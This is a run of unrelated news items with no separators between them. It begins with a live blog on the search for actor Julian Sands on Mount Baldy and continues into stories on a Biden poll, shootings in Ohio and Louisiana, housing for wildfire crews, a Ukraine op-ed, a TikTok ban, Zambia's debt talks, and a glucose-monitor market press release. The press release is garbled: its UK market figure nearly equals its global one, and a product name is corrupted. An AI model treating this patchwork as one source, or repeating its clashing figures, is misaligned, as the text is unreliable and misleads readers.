Hope and thoughts going out to the family of my dear friend and wonderful actor, Julian Sands, who is missing on Mt Baldy. Lets all pray for a miracle, Frank Marshall wrote on Twitter.

Hope and thoughts going out to the family of my dear friend and wonderful actor, Julian Sands, who is missing on Mt. Baldy. Let's all pray for a miracle.  Frank Marshall (@LeDoctor) January 19, 2023

08:49 , Peony Hirwani

As we enter day 11 of the search for Julian Sands on Mt. Baldy, we are reminded of the sheer determination & selflessness of all of the people who have aided in this search. We will continue to utilize the resources available to us. The family would like to share this statement: pic.twitter.com/owO2o97f16  San Bernardino County Sheriff (@sbcountysheriff) January 23, 2023

Actor Matthew Modine prays for Julian Sandss safe return

08:29 , Peony Hirwani

Julian Sands is a wonderful man, husband, father, and friend to so so many. A gentle, kind soul. Keep candles burning for his safe return from the mountain he loves, Matthew Modine wrote on Twitter.

#JulianSands is a wonderful man, husband, father, and friend to so so many. A gentle, kind soul. Keep candles burning for his safe return from the mountain he loves.   Matthew Modine (@MatthewModine) January 19, 2023

Mount Baldy conditions extremely dangerous since Sands went missing

07:49 , Peony Hirwani

The conditions on Mount Baldy, where rescuers are searching for Julian Sands, are adverse and extremely dangerous and are not favourable even for highly experienced hikers, police warned this week.

Due to the high winds, the snow has turned to ice making hiking extremely dangerous, San Bernardino County Sheriffs Department said on Friday.

Sheriffs Search and Rescue efforts are often hampered by poor weather along with dangerous avalanche conditions. The recent storms that brought the snow and ice conditions are not favorable for hikers, even those that feel they have a high level of experience.

The sheriff departments update about the search

06:59 , Peony Hirwani

As we enter day 11 of the search for Julian Sands on Mt Baldy, we are reminded of the sheer determination and selflessness of all of the people who have aided in this search, the authority said.

We will continue to utilise the resources available to us.

Is the climate crisis behind a string of California hiker tragedies?

06:19 , Peony Hirwani

Josh Marcus writes:

Julian Sands is the latest hiker to go missing. Is climate change to blame?

No fixed deadline for end of search, authorities say

04:45 , Peony Hirwani

US authorities have said that there is still no hard deadline for calling off the search for Julian Sands.

San Bernardino County Sheriffs department said that the incident was still being classified as a search and rescue operation.

We will schedule another ground search when the weather improves, and it is safe for our ground crews, a spokesperson from the department said.

British film producer Cassian Elewes shared a heartfelt message

04:01 , Tom Murray

Elewes also shared a note about Sands on Twitter.

Ive known since Friday that my friend Julian Sands has been missing on mt baldy. Im devastated. A very close family friend who was an adventurer in everything he did. Ive said many prayers, he wrote.

Ive known since Friday that my friend Julian Sands has been missing on mt baldy. Im devastated. A very close family friend who was an adventurer in everything he did. Ive said many prayers.  cassian elwes (@cassianelwes) January 18, 2023

Reverand Richard Coles called Sands dazzling

03:00 , Tom Murray

I knew #JulianSands a bit back in the 80s when his brother shared a mouse-infested flat with my best friend, Coles wrote on Twitter.

He was so dazzling and so delightful and everyone who loves him is beside themselves with worry.

I knew #JulianSands a bit back in the 80s when his brother shared a mouse-infested flat with my best friend. He was so dazzling and so delightful and everyone who loves him is beside themselves with worry. Im praying for his safe return. pic.twitter.com/t8gkDtzDEE  Richard Coles (@RevRichardColes) January 19, 2023

Federal agencies have joined the search for Sands

01:58 , Tom Murray

A reminder that both national and state officials are now working with the San Bernardino County Sheriffs office to locate Sands.

We are working with state and federal agencies that have cell phone forensics to assist us in pinpointing a location, but so far no new info has been developed, The San Bernardino County Sheriffs office said in a statement shared Friday (20 January).

Read more:

Federal agencies join the search for missing British actor Julian Sands

00:30 , Louis Chilton

Heres a bit of a breakdown of Sands career and life, for anyone less familiar with his backstory.

An actor of talent and unusual range, Sands has appeared in more than 150 film and TV projects across his career.

Read more:

Julian Sands, the prolific star of Arachnophobia, missing in California

Monday 23 January 2023 23:30 , Louis Chilton

In relaying the familys statement, the sheriffs department also issued an update of its own.

As we enter day 11 of the search for Julian Sands on Mt Baldy, we are reminded of the sheer determination & selflessness of all of the people who have aided in this search, the authority said.

We will continue to utilise the resources available to us.

Monday 23 January 2023 22:30 , Louis Chilton

More details, including the familys full statement, here:

Julian Sands family thanks authorities for heroic efforts as search continues

Monday 23 January 2023 21:52 , Louis Chilton

Sands family have shared a statement thanking authorities for the heroic search effort, which is still ongoing.

Our heartfelt thanks to the compassionate members of the San Bernardino County Sheriffs Department who are coordinating the search for our beloved Julian, not least the heroic search teams listed below who are braving difficult conditions on the ground and in the air to bring Julian home, it read.

Monday 23 January 2023 20:56 , Louis Chilton

The Mount Baldy bowl area where Sands is believed to have been hiking has already prompted more than two dozen incidents of lost or injured hikers over the past month, according to authorities.

Two hikers have been killed in this time after falling and injuring themselves.

CBS News Los Angeles reported that one of these people, indentified as Crystal Paula Gonzalez, was an experienced hiker who previously climbed to the peak of Mount Whitney.

Monday 23 January 2023 20:00 , Louis Chilton

No real updates today, but a reminder of the most recent developments...

It was reported over the weekend that Sands phone pings appeared to show movement on the day he was reported missing.

Read more...

Julian Sands phone shows movement the day he was reported missing in California

Monday 23 January 2023 19:20 , Louis Chilton

ICYMI: The last pictures Julian Sands sent to his grandson, from atop a mountain peak.

The images show the missing actor climbing mountains in the Alps.

Read more...

What he loved best: Last pictures actor Julian Sands sent from snow-clad mountain

Monday 23 January 2023 18:40 , Louis Chilton

A bit more on the ongoing air search for Sands that is taking place in California...

Julian Sands: Air search continues for missing British actor in California

Monday 23 January 2023 18:00 , Louis Chilton

Touching anecdote about once meeting Sands shared by another mountain climber here.

A beautiful soul.

Praying for Julian Sands, who we got to know on Mt. Kilimanjaro. He regaled us with Shakespeare and Keats and was the first person to capture us as an engaged couple. He even carried a hunk of the mountain down to present to us. He is such a beautiful soul. pic.twitter.com/M0UFD1ue7S  Sarah Crosby (@sarah_parkman) January 22, 2023

Monday 23 January 2023 17:23 , Louis Chilton

Actor and comedian Diedrich Bader shared this message about Sands on Twitter.

 I hope Julian Sands is okay. I was remembering the sheer perfection of his gesture before it rains in A Room with a View.

He taps his chest w open hands and raises his chin in joyful anticipation of the downpour. It was sensuous and ecstatic Byronic and simply beautifully alive.

I hope Julian Sands is okay

I was remembering the sheer perfection of his gesture before it rains in A ROOM WITH A VIEW

He taps his chest w open hands and raises his chin in joyful anticipation of the downpour

It was sensuous and ecstatic Byronic and simply beautifully alive  Diedrich Bader (@bader_diedrich) January 22, 2023

Monday 23 January 2023 16:40 , Louis Chilton

Is the climate crisis behind a string of California hiker tragedies?

Sobering report from Josh Marcus.

Julian Sands is the latest hiker to go missing. Is climate change to blame?

Monday 23 January 2023 16:00 , Louis Chilton

Another message hoping for the best, and paying tribute to Sands excellent work in Gothic, directed by Ken Russell.

Casting was never wilder or more beautiful.

Last night we rewatched Ken Russell's "Gothic," starring Gabriel Byrne as Byron, Julian Sands as Shelley, Vanessa Richardson as Mary, Miriam Cyr as Claire, and Timothy Spall as Polidori.

Casting was never wilder or more beautiful.

Praying that Sands will be found safe, somehow. pic.twitter.com/hU7NdqCb8I  Anne Margaret Daniel  (@venetianblonde) January 23, 2023

Monday 23 January 2023 15:20 , Louis Chilton

Reminder that authorities have confirmed there is no hard deadline on the search for Sands.

Its been 10 days since he went missing, with a search still ongoing.

Julian Sands, star of A Room with a View (Getty Images)

Monday 23 January 2023 14:40 , Louis Chilton

Messages of support and hope continue to pour in on social media as the search for the missing actor drags on.

Keep the candles burning.

Flat out refuse to give up hope yet. Keep the candles burning for Julian please. #JulianSands pic.twitter.com/cZ6Ht76Sva  In Like Clint (@ClintOCoast) January 23, 2023

Last pictures actor Julian Sands sent to his grandson from snow-clad mountain peak

Monday 23 January 2023 13:57 , Peony Hirwani

ICYMI: The family of missing movie star Julian Sands say he was doing what he loved best when he vanished  as they released the last known images of him mountaineering.

With the hunt for the British actor in the California mountains entering its sixth day, poignant photographs that he sent to his grandson show him looking relaxed and happy while climbing well above the clouds.

Mr Sands, who starred in more than 150 films and television series including A Room with a View, sent the pictures of himself climbing the Weisshorn mountain in the Swiss Alps to his grandson last September.

Jane Dalton has this exclusive report:

Video report: Who is the Hollywood British actor missing in California?

Monday 23 January 2023 13:27 , Peony Hirwani

No fixed deadline for end of search, authorities say

Monday 23 January 2023 12:57 , Peony Hirwani

US authorities have said that there is still no hard deadline for calling off the search for Julian Sands.

San Bernardino County Sheriffs department said that the incident was still being classified as a search and rescue operation.

We will schedule another ground search when the weather improves, and it is safe for our ground crews, a spokesperson from the department said.

Weather warning issued over gusts of up to 70mph

Monday 23 January 2023 12:38 , Roisin O'Connor

A weather warning of strong winds and gusts of up to 70mph has been issued, as the search for missing British actor Julian Sands enters its 10th day.

On Monday 23 January, the National Weather Service reported high winds affecting the Santa Ana mountain region and San Bernandino, close to the San Gabriel mountains where Sands is believed to have gone missing.

An alert warned of possible power outages, travel disruption and a risk of falling trees: The strongest winds will be along the south-facing slopes and foothill areas, below the Morongo Pass, and through and below the Santa Ana Mountain canyons, the report said.

At least 19 people killed in California storms

Monday 23 January 2023 12:17 , Peony Hirwani

California has been hit by a string of violent winter storms that have brought flooding and major snowfall, prompting power cuts and evacuations and leading to the deaths of at least 19 people.

According to the sheriffs department, it has launched 14 search and rescue missions in the Mount Baldy area alone over the past month, with two hikers dying on the mountain.

In addition to Julian Sands, rescuers in Los Angeles county are also currently searching the San Gabriel range for missing 61-year-old hiker Robert Gregory.

Please let him be okay: Friends fear for missing British actor Julian Sands

Monday 23 January 2023 11:37 , Peony Hirwani

Friends of Julian Sands said they hope he is found to be OK after the awful news the British actor was confirmed to be missing after a hiking trip in southern California.

The 65-year-old was reported missing in the Baldy Bowl area of the San Gabriel mountains on Friday evening, with searches by local authorities continuing over the weekend.

You can read a round-up of the messages here:

Mount Baldy conditions extremely dangerous since Sands went missing

Monday 23 January 2023 10:57 , Peony Hirwani

The conditions on Mount Baldy, where rescuers are searching for Julian Sands, are adverse and extremely dangerous and are not favourable even for highly experienced hikers, police warned this week.

Due to the high winds, the snow has turned to ice making hiking extremely dangerous, San Bernardino County Sheriffs Department said on Friday.

Sheriffs Search and Rescue efforts are often hampered by poor weather along with dangerous avalanche conditions. The recent storms that brought the snow and ice conditions are not favorable for hikers, even those that feel they have a high level of experience.

Julian Sands: A timeline of missing actors disappearance

Monday 23 January 2023 10:27 , Peony Hirwani

Julian Sands, a prolific actor with more than 150 screen credits, has gone missing while hiking.

The British star is believed to have been somewhere on the popular Baldy Bowl Trail in California, which climbs 3,900 feet over 4.5 miles to the highest summit in the San Gabriel Mountains.

Search and rescue crews are looking for Sands, with the actors friends, including Matthew Modine, Rufus Sewell and film producer Frank Marshall, expressing hope that he is found safely.

Read more:

A timeline of missing actor Julian Sands disappearance

What is the temperature at Mount Baldy?

Monday 23 January 2023 08:45 , Nicole Vassell

Julian Sands is thought to have gone missing while scaling Mount Baldy in the San Gabriel mountains of California.

Currently, the weather is 3C (38F).

There is a high wind warning in place for Southwestern California, with official guidance reading: Damaging winds could blow down trees and power lines. Power outages are possible. Travel will be difficult, especially for high-profile vehicles.

Fellow mountain climber shares tribute after bonding on Mount Kilimanjaro trip

Monday 23 January 2023 08:15 , Nicole Vassell

A mountain climber named Sarah Crosby has shared a tribute to Julian Sands, having met him during an excursion on Mount Kilimanjaro.

Praying for Julian Sands, who we got to know on Mt. Kilimanjaro, she wrote on Twitter on Sunday evening. He regaled us with Shakespeare and Keats and was the first person to capture us as an engaged couple.

He even carried a hunk of the mountain down to present to us. He is such a beautiful soul.

Praying for Julian Sands, who we got to know on Mt. Kilimanjaro. He regaled us with Shakespeare and Keats and was the first person to capture us as an engaged couple. He even carried a hunk of the mountain down to present to us. He is such a beautiful soul. pic.twitter.com/M0UFD1ue7S  Sarah Crosby (@sarah_parkman) January 22, 2023

Who is Julian Sands?

Monday 23 January 2023 07:45 , Nicole Vassell

As the search for Julian Sands continues in southern California, The Independents Louis Chilton has looked back on the actors life and prolific career so far.

Born in Otley, West Yorkshire in 1958, the actor began his career with supporting roles in projects such as 1984s Oxford Blues and The Killing Fields, in which he played journalist Jon Swain.

In the years since, he has starred in many more films and won a Golden Globe for his supporting role in Leaving Las Vegas.

Read more below:

Julian Sands, the prolific star of Arachnophobia, missing in California
A majority of Democratic voters say President Biden should be the partys 2024 White House nominee, according to a new Emerson College poll released on Tuesday.

Fifty-eight percent of registered Democrats said Biden should be the nominee, while 42 percent said it should be someone else.

Biden has solidified his support among minority voters in his party, said Spencer Kimball, the executive director of Emerson College Polling. 72 percent of Hispanic Democratic voters and 75 percent of Black Democratic voters think Biden should be the nominee in 2024, whereas 51 percent of white Democratic voters think someone else should be the Democratic nominee next year.

The same Emerson College survey showed the presidents approval rating at 44 percent, while his disapproval rating is at 48 percent. His latest approval rating is an improvement from the last Emerson College survey conducted in November, which showed Bidens approval at 39 percent and his disapproval rating at 48 percent.

The findings come as Biden, 80, prepares to announce the launch of his reelection campaign. Sources told The Hill earlier this month that the president plans to make public his intentions to run for a second White House term in the coming weeks, likely next month.

Biden, however, has been on the defense in recent weeks as his administration responds to reports of multiple batches of classified documents found in his former office and home. Republicans have used the controversy to go on the offense against Biden, and Democrats say they are concerned over the revelations.

Biden trails former President Trump, who is facing his own classified documents scandal, 41 percent to 44 percent in a hypothetical 2024 rematch, according to the new Emerson College poll.

The poll also spelled good news for Trump in a hypothetical Republican presidential primary. Trump leads Florida Gov. Ron DeSantis (R) 55 percent to 29 percent, with former Vice President Mike Pence and former U.S. Ambassador to the United Nations Nikki Haley trailing at 6 percent and 3 percent, respectively.

Story continues

Trump, who announced his 2024 campaign in November, is slated to make campaign appearances at the early voting states of New Hampshire and South Carolina on Saturday.

The Emerson College survey was conducted from Jan. 19-21 among 1,015 registered voters. Its margin of error was 3 percentage points.

For the latest news, weather, sports, and streaming video, head to The Hill.
[Source]

A Cincinnati man has been arrested and charged after allegedly firing multiple shots at an Asian grocery store in Evendale, Ohio, on Sunday.

Daniel Beckjord, 33, is accused of firing into the front windows of Tokyo Foods at around 6:30 p.m. While shooting, he allegedly claimed that he was the president of Tokyo and that the business was not in compliance.

Beckjord allegedly walked around the parking lot before firing more shots into the store.

Court documents say there were nine people at a neighboring restaurant, Uncle Yips, some of whom locked themselves in a bathroom.

More from NextShark: Philadelphia Man, 83, in ICU After Being Brutally Beaten and Robbed on New Year's Eve

I certainly didn't expect to see this going out to dinner after a Bengals game, Dr. Jan Rosenbaum Sass, who was heading to Uncle Yips, told WLWT. We came up and saw a person with a gun in camouflage, pointing the gun at the window of the Tokyo Foods Store, firing into the window.

Police arrested Beckjord at the parking lot, where they found him holding a .40 caliber Glock handgun.

A subsequent search into Beckjords home led to the discovery of other firearms, magazines, ammunition and two bulletproof vests.

More from NextShark: Teen Vogue Staffer Gets Flack After N-Word Tweets From 2009 Unearthed

Authorities also found more than 40,000 grams of marijuana and equipment to grow, process and package the plant.

Beckjord has been charged with inducing panic, firing a gun into a habitation and multiple counts of felonious assault for the shooting incident.

His drug-related charges include possession, as well as illegal manufacture and cultivation.

More from NextShark: Enes Kanter accuses spineless Nets owner Joe Tsai of being a Chinese government puppet

Records show Beckjord was previously charged in Northside with inducing panic and obstructing official business after wandering in and out of traffic with a loaded gun. The case has not been resolved and a mental health report is pending this month.

Beckjord is being held at the Hamilton County Justice Center. His bond includes $610,000 for the shooting incident and $50,000 for the drug charges.

More from NextShark: Over 100 diplomats walk out to support Ukraine as China stays during Russian foreign ministers UN speech
Jan. 24U.S. Sen. Steve Daines last week called on the Biden administration to address housing challenges for wildland firefighters.

Daines  along with a bipartisan group of colleagues from California, Idaho, Colorado and Oregon  is asking for information on the availability and cost of federal housing for firefighters in the hopes of bolstering the ranks of wildland crews. Housing can act as a barrier to recruiting and retaining firefighters, particularly in remote areas where private options are limited, the group argued.

"Federal wildland firefighters have a difficult and dangerous job, and it is the federal government's responsibility to support them in this work. We look forward to discussing these issues in detail and working with you to address the barriers to firefighter recruitment and retention," the senators said in the press release.

The effort comes on the heels of a report published by the Government Accountability Office in November 2022. Among other challenges to federal wildland firefighter retention and recruitment, the report zeroed in on housing problems. According to the report, "many wildland firefighter duty stations are in areas that are remote or expensive, or both ..."

The report found that remote locations come with other challenges, including limited access to services, like schools or grocery stores as well as internet connectivity.

The primary obstacle to recruitment and retention, according to the report, was compensation.

"Low pay was the most commonly cited barrier to recruiting and retaining federal wildland firefighters," the report read. "Officials ... also noted that the pay does not reflect the risk or physical demands of the work. Moreover, officials and stakeholders said that in some cases, firefighters can earn more at nonfederal firefighting entities or for less dangerous work in other fields, such as food service."

In a separate letter to the director of the Office of Management and Budget, the senators requested a briefing on pricing guidelines for federal housing as they relate to federal wildland firefighters.

Story continues

In recent years, the U.S. Forest Service and Department of Interior have struggled with staffing shortages amid increasingly destructive and widespread wildfire seasons. In July 2022, for example, Sens. Dianne Feinstein and Alex Padilla, both Democrats, beseeched the Biden administration to bolster the ranks of California-based firefighters. In a letter, they cited a shortage of 1,200 firefighters nationally as the 2022 wildfire season got underway.

Feinstein and Padilla both joined with Daines, a Republican, on the push to address housing for wildland firefighters.

According to the U.S. Forest Service's website, hiring for the 2023 wildland fire seasons began in September 2022. The Northern region, which includes the Flathead National Forest, hopes to fill 150 to 200 permanent positions in northern Idaho, Montana and North Dakota. Specialized positions include dispatch, engine crews, smokejumpers and more.

Reporter Kate Heston can be reached at kheston@dailyinterlake.com.
Oksana Bashuk Hepburn

Only one thing matters in Ukraines near one-years resistance against Russias unprovoked war: its victory. Good must triumph over evil. Freedom and democracy must win.

For this to happen Ukraine requires heavy military equipment and offensive weapons to end Kremlins outrageous brutalities. After that, peace negotiations must favor Ukraine and the world order rather than outdated pro-Russia fealty to false illusions about greatness.

Rescue workers carry the body of a man who was killed in a Russian missile strike on an apartment building in the southeastern city of Dnipro, Ukraine, Monday, Jan. 16, 2023.

Such "greatness" simply doesnt exist anymore.

Yet pro-Russia war supporters do exist  domestic and international  and they parrot Russia's absurd claims. The latest offering at the United Nations stated that Russia comes to Ukraine not to kill, not to ruin and not to destroy Ukrainian statehood. We're bringing only the Russian peace."

What Russia cannot accomplish with brute force, it invents  and Its lies are evident to everyone but Tucker Carlson and others like him. Its ambitions are grandiose: Russian President Vladimir Putin believes his nation has the right to control not just Ukraine but the worlds land and water resources. That's why Great Britain and the Baltic and Scandinavian states are among the strongest supporters of Ukraines victory.

Alas, not all democratic states are. The reluctance of Germany and Switzerland to send Ukraine the military equipment it needs to win is nearsighted and self-destructive because in Ukraine, Russia is fighting a proxy war against the United States, Europe and NATO  which in reality means it is fighting against Germany and Switzerland, too.

Democracy must win in Ukraine, and a defeat will recharge Russias aggressive nature to the next level of destabilization of the world order, peace and security. Russia will make international institutions like the United Nations, G20, sports, academe, media and the cyber world bow even further to its will.

This must not be allowed.

Ukraine is the lead in stopping this horror but the US, NATO, Europe and all other friends and allies are indispensable in supplying the military equipment required to do the job. Regrettably, those supplies have been too slow and too little. The near year-long incrementalism has failed to end Ukraines immeasurable agony. Lets provide the resources to end Russias adventurism, win for a better world and bring the criminal Putin to justice.

Story continues

For the US, victory means reaffirming its worldwide leadership of democratic states, which has been diminished by the questionable withdrawal from Afghanistan, losses in Syria, Georgia, Crimea, the previous administrations vacillation on NATO and the current pandering to Kremlins ludicrous demands for security guarantees and respect."

Americas leadership will be much needed in revamping the worlds peace and security arrangements, including changes to international law, its judicial system  tribunals on war crimes, war prisoners, civilian murders, etc.  the modernization of institutions like NATO and the United Nations, nuclear control arrangements and more.

For NATO, victory means saving face for failing to provide direct defence to a fledgling democracy punished by an unprovoked war for wanting to be its member. The cruel irony is that Ukraine is fighting Russia, the alliance's archenemy.

For Europe, victory means a return to normal and a reprieve from fear (particularly for the nations that border Russia). Now they will no longer need to educate others on the dangers of Russias imperialistic ambitions. The lessons of Russias twisted psyche are visible to all.

It has been said that the war is Ukraines to lose  but its victory depends on all freedom-loving people, and particularly those in America, Europe and NATO. All must help to finish the war now. Later may be too late.

Oksana Bashuk Hepburn is a former director of the Canadian Human Rights Commission, and previously served as president of U*Can Ukraine Canada Relations Inc. She is a part-time resident of Longboat Key and also lives in Ottawa, Ontario, Canada.

This article originally appeared on Sarasota Herald-Tribune: Ukraine is fighting for our future, too. Let's support it
MADISON, Wis. (AP)  University of Wisconsin System officials said Tuesday that they will ban the use of TikTok on system devices.

System spokesman Mark Pitsch told The Associated Press about the move in email statements.

Nearly half of the states nationwide have blocked the popular social media app owned by a Chinese company. Earlier this month, Democratic Gov. Tony Evers banned the use of TikTok on Wisconsin state phones and other devices, citing potential risks to privacy, safety and security.

The order didn't apply to the UW System, which employs 40,000 faculty and staff, because it isnt an executive branch agency. UW-Madison, the system's flagship school, has multiple TikTok accounts, including one for the women's volleyball team. Universities often use TikTok accounts as a recruiting tool to connect with high school students.

A number of other universities across the country have banned TikTok in recent weeks, including Auburn, Oklahoma, Arkansas, Georgia, Iowa and Texas.

TikTok is owned by ByteDance, a Chinese company that moved its headquarters to Singapore in 2020. It has been targeted by critics who say the Chinese government could access user data, such as browsing history and location. U.S. armed forces also have prohibited the app on military devices.

TikTok is consumed by two-thirds of American teens and has become the second-most popular domain in the world. But there has long been bipartisan concern in Washington that Beijing would use legal and regulatory power to seize American user data or try to push pro-China narratives or misinformation.
By Andrea Shalal

LUSAKA (Reuters) -Two of the world's most powerful finance officials are visiting Zambia this week, a reflection of the growing concern shared by Western officials about how China and other creditors are handling the African country's debt.

Zambia requested debt relief under the Group of 20 Common Framework nearly two years ago, but progress has been glacial at best, despite increasingly urgent appeals to China and private sector creditors to reach a deal.

Frustrated by the delays, U.S. Treasury Secretary Janet Yellen and International Monetary Fund Managing Director Kristalina Georgieva arrived for separate visits in Zambia on Sunday. Both see a new sovereign debt roundtable - introduced late last year - as a way to make progress on long-stalled debt restructuring processes.

While the overlap was coincidental, the two will meet informally while in Lusaka, a Treasury official said.

Yellen told Reuters en route to Zambia she supported the roundtable as a forum for discussing general principles of debt relief.

"I think thats a helpful approach and hopefully the specific cases will be easier to deal with," Yellen said.

Georgieva and Yellen will both participate when the roundtable meets for the first time in India next month on the sidelines of the Group of 20 finance officials. The specific date and guest list are still being worked out.

Georgieva, who helped initiate the roundtable along with World Bank President David Malpass, told reporters this month it aimed to resolve broader issues such as transparency, timing of treatments and how to set cutoff dates for loans, but was not intended to replace the existing Common Framework.

The roundtable is a good idea, but the expectations should be kept very modest," Indermit Gill, World Bank chief economist, told Reuters. He said it could help build more trust among parties, especially Chinese officials, struggling to find a common approach among disparate lenders.

Story continues

Former senior Treasury official Mark Sobel said the roundtable could bring parties together for talks but it remained unclear if it would deliver results.

"The leaders of the roundtable need to have a focused agenda with clear goals and timelines, build a collective spirit and then keep the pressure on all parties to deliver results," he said, adding the Common Framework had been "a flop" so far but remained the "the only game in town".

URGENT NEED FOR DEBT RELIEF

The world's poorest countries faced $35 billion in debt-service payments to official and private-sector creditors in 2022, more than 40% of which is due to China, the World Bank found. This could rise to $69 billion by 2024 - the highest level in the current decade, a recent report projected.

Yellen told reporters she had underscored the urgent need to cut debts of heavily indebted countries when she met Chinese Vice Premier Liu He in Zurich on Tuesday, warning failure to do so would set back development in poor countries and could lead to more war, fragility and conflict. Restructuring Zambia's debt was critically important, she said during a briefing in Lusaka.

The delay in debt treatment is taking its toll on Zambia, according to the World Bank's Gill: per capita income has slipped from middle-income to low-income status and about 60% of people now live in extreme poverty.

"All the bad things that happen when a country declares default have happened to Zambia," he said.

Government data showed Zambia owed Chinese creditors nearly $6 billion of the total of $17 billion external debt at the end of 2021.

Zambia's President Hakainde Hichilema urged creditors on Monday to quickly agree the content of a debt restructuring and warned if no conclusion was found soon it may distort economic recovery efforts.

Gill sees parallels with the late 1970s, when the Federal Reserve raised rates to curb inflation, sending the U.S. economy into the worst recession since the Great Depression during the early 1980s.

High U.S. interest rates ushered in what was labelled the "Lost Decade" in Latin America, landing many countries in default. "To some extent a similar thing could happen now," Gill said.

Yellen, however, noted rates were nowhere near those seen under Volcker and inflation was not out of control.

"We're in a higher interest rate environment, and that's something that's linked to the strong dollar, and weaker currencies for many emerging markets, but also Japan and other countries," Yellen said.

(Reporting by Andrea Shalal, editing by Karin Strohecker, Christina Fincher, Kirsten Donovan)
It was a violent Sunday in Louisiana when two mass shootings, in Shreveport and Baton Rouge, resulted in multiple injuries.

Shreveport mass shooting leaves three-year-old in critical condition

On Jan. 22, just before 2 p.m. the Shreveport Police Department was called to the 1600 block of Sugar Lane on reports of a shooting.

Upon arrival, officers located seven people inside the residence suffering gunshot injuries. Three of the seven victims were juveniles under the age of ten. The four adults were women between the ages of 30 and 60.

Shreveport Fire Department responded to the scene and all victims were transported to a local hospital. While at the hospital it was determined that two of the victim's injuries were life-threatening.

On Sunday, Shreveport faced a shooting that left four people in critical condition and two children injured. Jan. 22, 2023.

A male arrived at the hospital more than an hour later advising he was present at the home and injured during the shooting. His injury was described as a very minor graze wound.

Following the shooting, investigators combed through neighborhood surveillance footage and eyewitnesses while crime scene investigators collected more than 40 shell casings of varying calibers and other items of evidence.

Detectives learned from eyewitnesses that a dark-colored SUV pulled up in front of the residence and multiple subjects exited the vehicle and fired at least 40 times into the home.

Baton Rouge mass shooting

Blood stains and a small section of police tape show the scene where multiple people were injured following an overnight shooting at the Dior Bar & Lounge in Baton Rouge, La., on Sunday, Jan. 22, 2023.

Just after 1:30 a.m. Jan. 22, Baton Rouge Police Department was called to the 4600 block of Bennington Avenue on reports of a shooting at a nightclub.

Upon arrival, officers located 12 victims who had been shot while inside the club. All the victims were transported to a local hospital and listed in stable condition.

Baton Rouge Police Chief Murphy Paul said in a news conference Sunday that the incident is believed to be a targeted event and others were just injured in the process.

Story continues

Authorities said that they were pursuing leads and that a motive was unknown.

Makenzie Boucher is a reporter with the Shreveport Times. Contact her at mboucher@gannett.com.

This article originally appeared on Shreveport Times: What we know about the two mass shootings in Louisiana this weekend
Future Market Insights Global and Consulting Pvt. Ltd.

The Continuous Glucose Monitoring Device market in the United Kingdom is expected to reach a valuation of US$ 16.7 Billion by 2033. Japan Continuous Glucose Monitoring Device Market is expected to grow at a CAGR of 10.6% from 2023 to 2033, reaching US$ 549 Million by 2033

NEWARK, Del, Jan. 24, 2023 (GLOBE NEWSWIRE) -- According to Future Market Insights' newly released Continuous Glucose Monitoring Device Market industry analysis report, global sales of Continuous Glucose Monitoring Device Market in 2022 will be US$ 4.9 Billion. The market is expected to reach a valuation of US$ 16.8 billion by 2033, with a CAGR of 11.9% from 2023 to 2033.



A spike in the senior population, as well as a high prevalence of diabetes, are likely to drive market expansion. By 2040, the global diabetic population is predicted to reach 642 Million, according to the International Diabetes Federation. As a result, by 2040, one out of every 10 persons is anticipated to have diabetes, demonstrating the seriousness of the pandemic. As a result, diabetes treatment and management are projected to be a top priority for healthcare administrations and stakeholders around the world.

Increased diabetes cases are predicted to drive market growth and opportunities for continuous glucose monitoring systems, which will attract and compel several market participants to produce innovative products or product line extensions.

Request Sample @ https://www.futuremarketinsights.com/reports/sample/rep-gb-16523

During the forecast period, Asia Pacific is expected to be the most lucrative market. Asia Pacific has a large population characterized by increased diabetic awareness, increasing awareness of the availability of continuous glucose monitoring devices, and expanding consumer healthcare spending. Moreover, throughout the projection period, increased diagnostic lab penetration in the region is likely to boost demand for continuous glucose monitoring devices.

Due to favorable government policies, countries such as China, India, South Korea, and Indonesia are drawing FDIs in the healthcare sector, which is projected to drive the growth of the continuous glucose monitoring device market in the region.

Story continues

Competitive Landscape

The Continuous Glucose Monitoring Device Market is highly competitive, with a handful of companies holding a significant share. The key players in the market include A. Menarini Diagnostics, Echo Therapeutics, Inc., Abbott Laboratories, Bayer AG, Dexcom, Inc., F. Hoffmann-La Roche Ltd., GE Healthcare, GlySens Incorporated, Insulet Corporation, Johnson & Johnson, LifeScan, Medtronic plc, Medtrum Technologies, Inc., Microchip Technology Inc., Micron Technology Inc., Nemaura Medical, Inc., Novo Nordisk, NXP Semiconductors, Qualcomm, Roche Diagnostics, Senseonics Holdings, Inc., STMicroelectronics, and Tandem Diabetes Care.

Request Customization @ https://www.futuremarketinsights.com/customization-available/rep-gb-16523

Some of the recent developments of key players in the Continuous Glucose Monitoring Device Market are as follows:

In June 2020, Menarini Diagnostics released GlucoMen Day CGM, a unique digital patch that monitors blood glucose and displays findings immediately on a smartphone. It may be worn for fourteen days continuously.





In February 2020, for seamless diabetes management, Abbott and Insulet collaborated to integrate next-generation glucose sensors and automated insulin delivery technology. The continuous glucose monitoring (CGM) technology of Abbott will be combined with Insulet's OMillionipod Horizon Automated Insulin Delivery System to create an accurate, user-friendly, and integrated digital health platform. 





In January 2020, Tandem Diabetes Care announced the launch of the t:slim X2 Insulin Pump with Control-IQ Technology. Dexcom G6 continuous glucose monitoring is built into the system.



Market Segments Covered in Continuous Glucose Monitoring Device Industry Analysis

By Component:

Transmitters

Sensors

Receivers



By End-Use:

Hospitals

Home Care

Other End-uses



Buy Now/Purchase @ https://www.futuremarketinsights.com/checkout/16523

Table of Content:

1. Executive Summary | Continuous Glucose Monitoring Device Market

1.1. Global Market Outlook

1.2. Summary of Statistics

1.3. Key Market Characteristics & Attributes

1.4. Analysis and Recommendations

2. Market Overview

2.1. Market Coverage / Taxonomy

2.2. Market Definition / Scope / Limitations

3. Market Risks and Trends Assessment

3.1. Risk Assessment

3.1.1. COVID-19 Crisis and Impact on Demand

3.1.2. COVID-19 Impact Benchmark with Previous Crisis

3.1.3. Impact on Market Value (US$ Billion)

3.1.4. Assessment by Key Countries

3.1.5. Assessment by Key Market Segments

3.1.6. Action Points and Recommendation for Suppliers

3.2. Key Trends Impacting the Market

3.3. Formulation and Product Development Trends

View Full Report @ https://www.futuremarketinsights.com/reports/continuous-glucose-monitoring-device-market

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Coxsackievirus Infections Treatment Market Trends  The global coxsackievirus infections treatment market is currently valued at US$ 5.5 Billion in 2023 and is anticipated to expand at a CAGR of 8.2%. Owing to the technological advances in healthcare the market is likely to propel to US$ 12.1 Billion by 2033.

